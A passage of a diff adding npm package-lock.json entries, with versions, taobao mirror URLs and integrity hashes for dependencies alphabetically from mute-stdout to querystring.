"integrity": "sha1-0J0fNXtEP0kzgqjrPM0YOHKuYAk=", + "dev": true + }, + "mute-stdout": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/mute-stdout/download/mute-stdout-1.0.1.tgz", + "integrity": "sha1-rLAwDrTeI6fd7sAU4+lgRLNHIzE=", + "dev": true + }, + "named-js-regexp": { + "version": "1.3.5", + "resolved": "https://registry.npm.taobao.org/named-js-regexp/download/named-js-regexp-1.3.5.tgz", + "integrity": "sha1-0NpNPGclnp0Q6ForTzXWyUnWk4M=", + "dev": true + }, + "nan": { + "version": "2.14.2", + "resolved": "https://registry.npm.taobao.org/nan/download/nan-2.14.2.tgz?cache=0&sync_timestamp=1602591931869&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnan%2Fdownload%2Fnan-2.14.2.tgz", + "integrity": "sha1-9TdkAGlRaPTMaUrJOT0MlYXu6hk=", + "dev": true, + "optional": true + }, + "nanoid": { + "version": "3.1.20", + "resolved": "https://registry.npm.taobao.org/nanoid/download/nanoid-3.1.20.tgz?cache=0&sync_timestamp=1606833976706&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnanoid%2Fdownload%2Fnanoid-3.1.20.tgz", + "integrity": "sha1-utwmPGsdzxS3HvqoX2q0wdbPx4g=", + "dev": true + }, + "nanomatch": { + "version": "1.2.13", + "resolved": "https://registry.npm.taobao.org/nanomatch/download/nanomatch-1.2.13.tgz", + "integrity": "sha1-uHqKpPwN6P5r6IiVs4mD/yZb0Rk=", + "dev": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "fragment-cache": "^0.2.1", + "is-windows": "^1.0.2", + "kind-of": "^6.0.2", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + } + }, + "native-request": { + "version": "1.0.8", + "resolved": "https://registry.npm.taobao.org/native-request/download/native-request-1.0.8.tgz", + "integrity": "sha1-j2a/YG4PfqJ8DlmV6y9dA+M65vs=", + "dev": true, + "optional": true + }, + "neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npm.taobao.org/neo-async/download/neo-async-2.6.2.tgz?cache=0&sync_timestamp=1594317361810&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fneo-async%2Fdownload%2Fneo-async-2.6.2.tgz", + "integrity": "sha1-tKr7k+OustgXTKU88WOrfXMIMF8=", + "dev": true + }, + "next-tick": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/next-tick/download/next-tick-1.0.0.tgz", + "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw=", + "dev": true + }, + "node-libs-browser": { + "version": "2.2.1", + "resolved": "https://registry.npm.taobao.org/node-libs-browser/download/node-libs-browser-2.2.1.tgz", + "integrity": "sha1-tk9RPRgzhiX5A0bSew0jXmMfZCU=", + "dev": true, + "requires": { + "assert": "^1.1.1", + "browserify-zlib": "^0.2.0", + "buffer": "^4.3.0", + "console-browserify": "^1.1.0", + "constants-browserify": "^1.0.0", + "crypto-browserify": "^3.11.0", + "domain-browser": "^1.1.1", + "events": "^3.0.0", + "https-browserify": "^1.0.0", + "os-browserify": "^0.3.0", + "path-browserify": "0.0.1", + "process": "^0.11.10", + "punycode": "^1.2.4", + "querystring-es3": "^0.2.0", + "readable-stream": "^2.3.3", + "stream-browserify": "^2.0.1", + "stream-http": "^2.7.2", + "string_decoder": "^1.0.0", + "timers-browserify": "^2.0.4", + "tty-browserify": "0.0.0", + "url": "^0.11.0", + "util": "^0.11.0", + "vm-browserify": "^1.0.1" + }, + "dependencies": { + "punycode": { + "version": "1.4.1", + "resolved": "https://registry.npm.taobao.org/punycode/download/punycode-1.4.1.tgz", + "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=", + "dev": true + } + } + }, + "node-notifier": { + "version": "9.0.0", + "resolved": "https://registry.npm.taobao.org/node-notifier/download/node-notifier-9.0.0.tgz?cache=0&sync_timestamp=1608193051587&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnode-notifier%2Fdownload%2Fnode-notifier-9.0.0.tgz", + "integrity": "sha1-RsW77Lt5bUqAP2Rs6lvJFAPy/zg=", + "dev": true, + "requires": { + "growly": "^1.3.0", + "is-wsl": "^2.2.0", + "semver": "^7.3.2", + "shellwords": "^0.1.1", + "uuid": "^8.3.0", + "which": "^2.0.2" + }, + "dependencies": { + "is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npm.taobao.org/is-wsl/download/is-wsl-2.2.0.tgz", + "integrity": "sha1-dKTHbnfKn9P5MvKQwX6jJs0VcnE=", + "dev": true, + "requires": { + "is-docker": "^2.0.0" + } + }, + "semver": { + "version": "7.3.4", + "resolved": "https://registry.npm.taobao.org/semver/download/semver-7.3.4.tgz?cache=0&sync_timestamp=1606853731020&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-7.3.4.tgz", + "integrity": "sha1-J6qn0uTKdkUvmNOt0JOnLJQ+3Jc=", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "which": { + "version": "2.0.2", + "resolved": "https://registry.npm.taobao.org/which/download/which-2.0.2.tgz", + "integrity": "sha1-fGqN0KY2oDJ+ELWckobu6T8/UbE=", + "dev": true, + "requires": { + "isexe": "^2.0.0" + } + } + } + }, + "node-releases": { + "version": "1.1.71", + "resolved": "https://registry.npm.taobao.org/node-releases/download/node-releases-1.1.71.tgz", + "integrity": "sha1-yxM0sXmJaxyJ7P3UtyX7e738fbs=", + "dev": true + }, + "normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npm.taobao.org/normalize-package-data/download/normalize-package-data-2.5.0.tgz?cache=0&sync_timestamp=1615315140811&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnormalize-package-data%2Fdownload%2Fnormalize-package-data-2.5.0.tgz", + "integrity": "sha1-5m2xg4sgDB38IzIl0SyzZSDiNKg=", + "dev": true, + "requires": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + }, + "dependencies": { + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npm.taobao.org/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1606853731020&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz", + "integrity": "sha1-qVT5Ma66UI0we78Gnv8MAclhFvc=", + "dev": true + } + } + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/normalize-path/download/normalize-path-3.0.0.tgz", + "integrity": "sha1-Dc1p/yOhybEf0JeDFmRKA4ghamU=", + "dev": true + }, + "normalize-wheel": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/normalize-wheel/download/normalize-wheel-1.0.1.tgz", + "integrity": "sha1-rsiGr/2wRQcNhWRH32Ls+GFG7EU=" + }, + "now-and-later": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/now-and-later/download/now-and-later-2.0.1.tgz", + "integrity": "sha1-jlechoV2SnzALLaAOA6U9DzLH3w=", + "dev": true, + "requires": { + "once": "^1.3.2" + } + }, + "npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npm.taobao.org/npm-run-path/download/npm-run-path-4.0.1.tgz", + "integrity": "sha1-t+zR5e1T2o43pV4cImnguX7XSOo=", + "dev": true, + "requires": { + "path-key": "^3.0.0" + } + }, + "number-is-nan": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/number-is-nan/download/number-is-nan-1.0.1.tgz", + "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", + "dev": true + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npm.taobao.org/object-assign/download/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", + "dev": true + }, + "object-copy": { + "version": "0.1.0", + "resolved": "https://registry.npm.taobao.org/object-copy/download/object-copy-0.1.0.tgz", + "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", + "dev": true, + "requires": { + "copy-descriptor": "^0.1.0", + "define-property": "^0.2.5", + "kind-of": "^3.0.3" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npm.taobao.org/define-property/download/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npm.taobao.org/object-keys/download/object-keys-1.1.1.tgz", + "integrity": "sha1-HEfyct8nfzsdrwYWd9nILiMixg4=", + "dev": true + }, + "object-visit": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/object-visit/download/object-visit-1.0.1.tgz", + "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", + "dev": true, + "requires": { + "isobject": "^3.0.0" + } + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npm.taobao.org/object.assign/download/object.assign-4.1.2.tgz?cache=0&sync_timestamp=1604115104654&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fobject.assign%2Fdownload%2Fobject.assign-4.1.2.tgz", + "integrity": "sha1-DtVKNC7Os3s4/3brgxoOeIy2OUA=", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "object.defaults": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/object.defaults/download/object.defaults-1.1.0.tgz", + "integrity": "sha1-On+GgzS0B96gbaFtiNXNKeQ1/s8=", + "dev": true, + "requires": { + "array-each": "^1.0.1", + "array-slice": "^1.0.0", + "for-own": "^1.0.0", + "isobject": "^3.0.0" + } + }, + "object.map": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/object.map/download/object.map-1.0.1.tgz", + "integrity": "sha1-z4Plncj8wK1fQlDh94s7gb2AHTc=", + "dev": true, + "requires": { + "for-own": "^1.0.0", + "make-iterator": "^1.0.0" + } + }, + "object.pick": { + "version": "1.3.0", + "resolved": "https://registry.npm.taobao.org/object.pick/download/object.pick-1.3.0.tgz", + "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", + "dev": true, + "requires": { + "isobject": "^3.0.1" + } + }, + "object.reduce": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/object.reduce/download/object.reduce-1.0.1.tgz", + "integrity": "sha1-b+NI8qx/oPlcpiEiZZkJaCW7A60=", + "dev": true, + "requires": { + "for-own": "^1.0.0", + "make-iterator": "^1.0.0" + } + }, + "on-build-webpack": { + "version": "0.1.0", + "resolved": "https://registry.npm.taobao.org/on-build-webpack/download/on-build-webpack-0.1.0.tgz", + "integrity": "sha1-oofA4Xdm5hQZJuXyy7DYu1O3aBQ=", + "dev": true + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npm.taobao.org/once/download/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, + "requires": { + "wrappy": "1" + } + }, + "onetime": { + "version": "5.1.2", + "resolved": "https://registry.npm.taobao.org/onetime/download/onetime-5.1.2.tgz", + "integrity": "sha1-0Oluu1awdHbfHdnEgG5SN5hcpF4=", + "dev": true, + "requires": { + "mimic-fn": "^2.1.0" + } + }, + "ordered-read-streams": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/ordered-read-streams/download/ordered-read-streams-1.0.1.tgz", + "integrity": "sha1-d8DLN8QVJdZBZtmQ/61+xqDhNj4=", + "dev": true, + "requires": { + "readable-stream": "^2.0.1" + } + }, + "os-browserify": { + "version": "0.3.0", + "resolved": "https://registry.npm.taobao.org/os-browserify/download/os-browserify-0.3.0.tgz", + "integrity": "sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=", + "dev": true + }, + "os-locale": { + "version": "1.4.0", + "resolved": "https://registry.npm.taobao.org/os-locale/download/os-locale-1.4.0.tgz", + "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=", + "dev": true, + "requires": { + "lcid": "^1.0.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npm.taobao.org/p-limit/download/p-limit-2.3.0.tgz", + "integrity": "sha1-PdM8ZHohT9//2DWTPrCG2g3CHbE=", + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npm.taobao.org/p-locate/download/p-locate-4.1.0.tgz?cache=0&sync_timestamp=1597081369770&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fp-locate%2Fdownload%2Fp-locate-4.1.0.tgz", + "integrity": "sha1-o0KLtwiLOmApL2aRkni3wpetTwc=", + "dev": true, + "requires": { + "p-limit": "^2.2.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npm.taobao.org/p-try/download/p-try-2.2.0.tgz", + "integrity": "sha1-yyhoVA4xPWHeWPr741zpAE1VQOY=", + "dev": true + }, + "pako": { + "version": "1.0.11", + "resolved": "https://registry.npm.taobao.org/pako/download/pako-1.0.11.tgz?cache=0&sync_timestamp=1610208910632&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpako%2Fdownload%2Fpako-1.0.11.tgz", + "integrity": "sha1-bJWZ00DVTf05RjgCUqNXBaa5kr8=", + "dev": true + }, + "parallel-transform": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/parallel-transform/download/parallel-transform-1.2.0.tgz", + "integrity": "sha1-kEnKN9bLIYLDsdLHIL6U0UpYFPw=", + "dev": true, + "requires": { + "cyclist": "^1.0.1", + "inherits": "^2.0.3", + "readable-stream": "^2.1.5" + } + }, + "parse-asn1": { + "version": "5.1.6", + "resolved": "https://registry.npm.taobao.org/parse-asn1/download/parse-asn1-5.1.6.tgz?cache=0&sync_timestamp=1597167309380&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fparse-asn1%2Fdownload%2Fparse-asn1-5.1.6.tgz", + "integrity": "sha1-OFCAo+wTy2KmLTlAnLPoiETNrtQ=", + "dev": true, + "requires": { + "asn1.js": "^5.2.0", + "browserify-aes": "^1.0.0", + "evp_bytestokey": "^1.0.0", + "pbkdf2": "^3.0.3", + "safe-buffer": "^5.1.1" + } + }, + "parse-filepath": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/parse-filepath/download/parse-filepath-1.0.2.tgz", + "integrity": "sha1-pjISf1Oq89FYdvWHLz/6x2PWyJE=", + "dev": true, + "requires": { + "is-absolute": "^1.0.0", + "map-cache": "^0.2.0", + "path-root": "^0.1.1" + } + }, + "parse-json": { + "version": "2.2.0", + "resolved": "https://registry.npm.taobao.org/parse-json/download/parse-json-2.2.0.tgz?cache=0&sync_timestamp=1610966646988&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fparse-json%2Fdownload%2Fparse-json-2.2.0.tgz", + "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", + "dev": true, + "requires": { + "error-ex": "^1.2.0" + } + }, + "parse-node-version": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/parse-node-version/download/parse-node-version-1.0.1.tgz", + "integrity": "sha1-4rXb7eAOf6m8NjYH9TMn6LBzGJs=", + "dev": true + }, + "parse-passwd": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/parse-passwd/download/parse-passwd-1.0.0.tgz", + "integrity": "sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY=", + "dev": true + }, + "pascalcase": { + "version": "0.1.1", + "resolved": "https://registry.npm.taobao.org/pascalcase/download/pascalcase-0.1.1.tgz", + "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=", + "dev": true + }, + "path": { + "version": "0.12.7", + "resolved": "https://registry.npm.taobao.org/path/download/path-0.12.7.tgz", + "integrity": "sha1-1NwqUGxM4hl+tIHr/NWzbAFAsQ8=", + "dev": true, + "requires": { + "process": "^0.11.1", + "util": "^0.10.3" + }, + "dependencies": { + "inherits": { + "version": "2.0.3", + "resolved": "https://registry.npm.taobao.org/inherits/download/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", + "dev": true + }, + "util": { + "version": "0.10.4", + "resolved": "https://registry.npm.taobao.org/util/download/util-0.10.4.tgz", + "integrity": "sha1-OqASW/5mikZy3liFfTrOJ+y3aQE=", + "dev": true, + "requires": { + "inherits": "2.0.3" + } + } + } + }, + "path-browserify": { + "version": "0.0.1", + "resolved": "https://registry.npm.taobao.org/path-browserify/download/path-browserify-0.0.1.tgz", + "integrity": "sha1-5sTd1+06onxoogzE5Q4aTug7vEo=", + "dev": true + }, + "path-dirname": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/path-dirname/download/path-dirname-1.0.2.tgz", + "integrity": "sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=", + "dev": true + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npm.taobao.org/path-exists/download/path-exists-4.0.0.tgz", + "integrity": "sha1-UTvb4tO5XXdi6METfvoZXGxhtbM=", + "dev": true + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/path-is-absolute/download/path-is-absolute-1.0.1.tgz", + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", + "dev": true + }, + "path-key": { + "version": "3.1.1", + "resolved": "https://registry.npm.taobao.org/path-key/download/path-key-3.1.1.tgz", + "integrity": "sha1-WB9q3mWMu6ZaDTOA3ndTKVBU83U=", + "dev": true + }, + "path-parse": { + "version": "1.0.6", + "resolved": "https://registry.npm.taobao.org/path-parse/download/path-parse-1.0.6.tgz", + "integrity": "sha1-1i27VnlAXXLEc37FhgDp3c8G0kw=", + "dev": true + }, + "path-root": { + "version": "0.1.1", + "resolved": "https://registry.npm.taobao.org/path-root/download/path-root-0.1.1.tgz", + "integrity": "sha1-mkpoFMrBwM1zNgqV8yCDyOpHRbc=", + "dev": true, + "requires": { + "path-root-regex": "^0.1.0" + } + }, + "path-root-regex": { + "version": "0.1.2", + "resolved": "https://registry.npm.taobao.org/path-root-regex/download/path-root-regex-0.1.2.tgz", + "integrity": "sha1-v8zcjfWxLcUsi0PsONGNcsBLqW0=", + "dev": true + }, + "path-type": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/path-type/download/path-type-1.1.0.tgz?cache=0&sync_timestamp=1611752015315&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpath-type%2Fdownload%2Fpath-type-1.1.0.tgz", + "integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0" + } + }, + "pbkdf2": { + "version": "3.1.1", + "resolved": "https://registry.npm.taobao.org/pbkdf2/download/pbkdf2-3.1.1.tgz", + "integrity": "sha1-y4cksPramEWWhW0abrr9NYRlS5Q=", + "dev": true, + "requires": { + "create-hash": "^1.1.2", + "create-hmac": "^1.1.4", + "ripemd160": "^2.0.1", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" + } + }, + "picomatch": { + "version": "2.2.2", + "resolved": "https://registry.npm.taobao.org/picomatch/download/picomatch-2.2.2.tgz", + "integrity": "sha1-IfMz6ba46v8CRo9RRupAbTRfTa0=", + "dev": true, + "optional": true + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npm.taobao.org/pify/download/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", + "dev": true + }, + "pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npm.taobao.org/pinkie/download/pinkie-2.0.4.tgz", + "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=", + "dev": true + }, + "pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/pinkie-promise/download/pinkie-promise-2.0.1.tgz", + "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", + "dev": true, + "requires": { + "pinkie": "^2.0.0" + } + }, + "pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-4.2.0.tgz?cache=0&sync_timestamp=1602859010405&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpkg-dir%2Fdownload%2Fpkg-dir-4.2.0.tgz", + "integrity": "sha1-8JkTPfft5CLoHR2ESCcO6z5CYfM=", + "dev": true, + "requires": { + "find-up": "^4.0.0" + } + }, + "plugin-error": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/plugin-error/download/plugin-error-1.0.1.tgz", + "integrity": "sha1-dwFr2JGdCsN3/c3QMiMolTyleBw=", + "dev": true, + "requires": { + "ansi-colors": "^1.0.1", + "arr-diff": "^4.0.0", + "arr-union": "^3.1.0", + "extend-shallow": "^3.0.2" + } + }, + "posix-character-classes": { + "version": "0.1.1", + "resolved": "https://registry.npm.taobao.org/posix-character-classes/download/posix-character-classes-0.1.1.tgz", + "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=", + "dev": true + }, + "postcss": { + "version": "8.2.8", + "resolved": "https://registry.npm.taobao.org/postcss/download/postcss-8.2.8.tgz?cache=0&sync_timestamp=1615327834455&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss%2Fdownload%2Fpostcss-8.2.8.tgz", + "integrity": "sha1-C5D5OC79pCTE8PaaLq1vaDDQjs4=", + "dev": true, + "requires": { + "colorette": "^1.2.2", + "nanoid": "^3.1.20", + "source-map": "^0.6.1" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz", + "integrity": "sha1-dHIq8y6WFOnCh6jQu95IteLxomM=", + "dev": true + } + } + }, + "postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/postcss-modules-extract-imports/download/postcss-modules-extract-imports-3.0.0.tgz?cache=0&sync_timestamp=1602588238811&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-modules-extract-imports%2Fdownload%2Fpostcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha1-zaHwR8CugMl9vijD52pDuIAldB0=", + "dev": true + }, + "postcss-modules-local-by-default": { + "version": "4.0.0", + "resolved": "https://registry.npm.taobao.org/postcss-modules-local-by-default/download/postcss-modules-local-by-default-4.0.0.tgz?cache=0&sync_timestamp=1602587661752&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-modules-local-by-default%2Fdownload%2Fpostcss-modules-local-by-default-4.0.0.tgz", + "integrity": "sha1-67tU+uFZjuz99pGgKz/zs5ClpRw=", + "dev": true, + "requires": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + } + }, + "postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/postcss-modules-scope/download/postcss-modules-scope-3.0.0.tgz?cache=0&sync_timestamp=1602593225142&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-modules-scope%2Fdownload%2Fpostcss-modules-scope-3.0.0.tgz", + "integrity": "sha1-nvMVFFbTu/oSDKRImN/Kby+gHwY=", + "dev": true, + "requires": { + "postcss-selector-parser": "^6.0.4" + } + }, + "postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npm.taobao.org/postcss-modules-values/download/postcss-modules-values-4.0.0.tgz?cache=0&sync_timestamp=1602586248938&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-modules-values%2Fdownload%2Fpostcss-modules-values-4.0.0.tgz", + "integrity": "sha1-18Xn5ow7s8myfL9Iyguz/7RgLJw=", + "dev": true, + "requires": { + "icss-utils": "^5.0.0" + } + }, + "postcss-selector-parser": { + "version": "6.0.4", + "resolved": "https://registry.npm.taobao.org/postcss-selector-parser/download/postcss-selector-parser-6.0.4.tgz?cache=0&sync_timestamp=1601045448419&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpostcss-selector-parser%2Fdownload%2Fpostcss-selector-parser-6.0.4.tgz", + "integrity": "sha1-VgdaE4CgRgTDiwY+p3Z6Epr1wrM=", + "dev": true, + "requires": { + "cssesc": "^3.0.0", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1", + "util-deprecate": "^1.0.2" + } + }, + "postcss-value-parser": { + "version": "4.1.0", + "resolved": "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-4.1.0.tgz", + "integrity": "sha1-RD9qIM7WSBor2k+oUypuVdeJoss=", + "dev": true + }, + "prettier": { + "version": "1.19.1", + "resolved": "https://registry.npm.taobao.org/prettier/download/prettier-1.19.1.tgz?cache=0&sync_timestamp=1606523097359&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fprettier%2Fdownload%2Fprettier-1.19.1.tgz", + "integrity": "sha1-99f1/4qc2HKnvkyhQglZVqYHl8s=", + "dev": true, + "optional": true + }, + "pretty-hrtime": { + "version": "1.0.3", + "resolved": "https://registry.npm.taobao.org/pretty-hrtime/download/pretty-hrtime-1.0.3.tgz", + "integrity": "sha1-t+PqQkNaTJsnWdmeDyAesZWALuE=", + "dev": true + }, + "printj": { + "version": "1.1.2", + "resolved": "https://registry.npm.taobao.org/printj/download/printj-1.1.2.tgz", + "integrity": "sha1-2Q3rKXWoufYA+zoclOP0xTx4oiI=" + }, + "private": { + "version": "0.1.8", + "resolved": "https://registry.npm.taobao.org/private/download/private-0.1.8.tgz", + "integrity": "sha1-I4Hts2ifelPWUxkAYPz4ItLzaP8=", + "dev": true + }, + "process": { + "version": "0.11.10", + "resolved": "https://registry.npm.taobao.org/process/download/process-0.11.10.tgz", + "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/process-nextick-args/download/process-nextick-args-2.0.1.tgz", + "integrity": "sha1-eCDZsWEgzFXKmud5JoCufbptf+I=", + "dev": true + }, + "promise-inflight": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/promise-inflight/download/promise-inflight-1.0.1.tgz", + "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", + "dev": true + }, + "prr": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/prr/download/prr-1.0.1.tgz", + "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", + "dev": true + }, + "pseudomap": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/pseudomap/download/pseudomap-1.0.2.tgz", + "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", + "dev": true + }, + "public-encrypt": { + "version": "4.0.3", + "resolved": "https://registry.npm.taobao.org/public-encrypt/download/public-encrypt-4.0.3.tgz", + "integrity": "sha1-T8ydd6B+SLp1J+fL4N4z0HATMeA=", + "dev": true, + "requires": { + "bn.js": "^4.1.0", + "browserify-rsa": "^4.0.0", + "create-hash": "^1.1.0", + "parse-asn1": "^5.0.0", + "randombytes": "^2.0.1", + "safe-buffer": "^5.1.2" + }, + "dependencies": { + "bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz", + "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og=", + "dev": true + } + } + }, + "pump": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/pump/download/pump-2.0.1.tgz", + "integrity": "sha1-Ejma3W5M91Jtlzy8i1zi4pCLOQk=", + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "pumpify": { + "version": "1.5.1", + "resolved": "https://registry.npm.taobao.org/pumpify/download/pumpify-1.5.1.tgz", + "integrity": "sha1-NlE74karJ1cLGjdKXOJ4v9dDcM4=", + "dev": true, + "requires": { + "duplexify": "^3.6.0", + "inherits": "^2.0.3", + "pump": "^2.0.0" + } + }, + "punycode": { + "version": "2.1.1", + "resolved": "https://registry.npm.taobao.org/punycode/download/punycode-2.1.1.tgz", + "integrity": "sha1-tYsBCsQMIsVldhbI0sLALHv0eew=", + "dev": true + }, + "q": { + "version": "1.5.1", + "resolved": "https://registry.npm.taobao.org/q/download/q-1.5.1.tgz", + "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=", + "dev": true + }, + "query-string": { + "version": "6.14.1", + "resolved": "https://registry.npm.taobao.org/query-string/download/query-string-6.14.1.tgz?cache=0&sync_timestamp=1614342861003&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fquery-string%2Fdownload%2Fquery-string-6.14.1.tgz", + "integrity": "sha1-esLcpG2n8wlEm6D4ax/SglWwyGo=", + "requires": { + "decode-uri-component": "^0.2.0", + "filter-obj": "^1.1.0", + "split-on-first": "^1.0.0", + "strict-uri-encode": "^2.0.0" + } + }, + "querystring": { + "version": "0.2.0", + "resolved": 